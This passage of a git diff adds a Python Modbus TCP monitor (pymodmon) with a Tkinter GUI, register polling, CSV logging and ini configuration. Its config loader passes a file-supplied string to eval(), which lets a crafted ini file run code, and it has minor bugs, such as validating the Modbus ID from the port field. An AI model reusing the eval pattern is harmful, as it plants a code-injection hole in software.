''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if 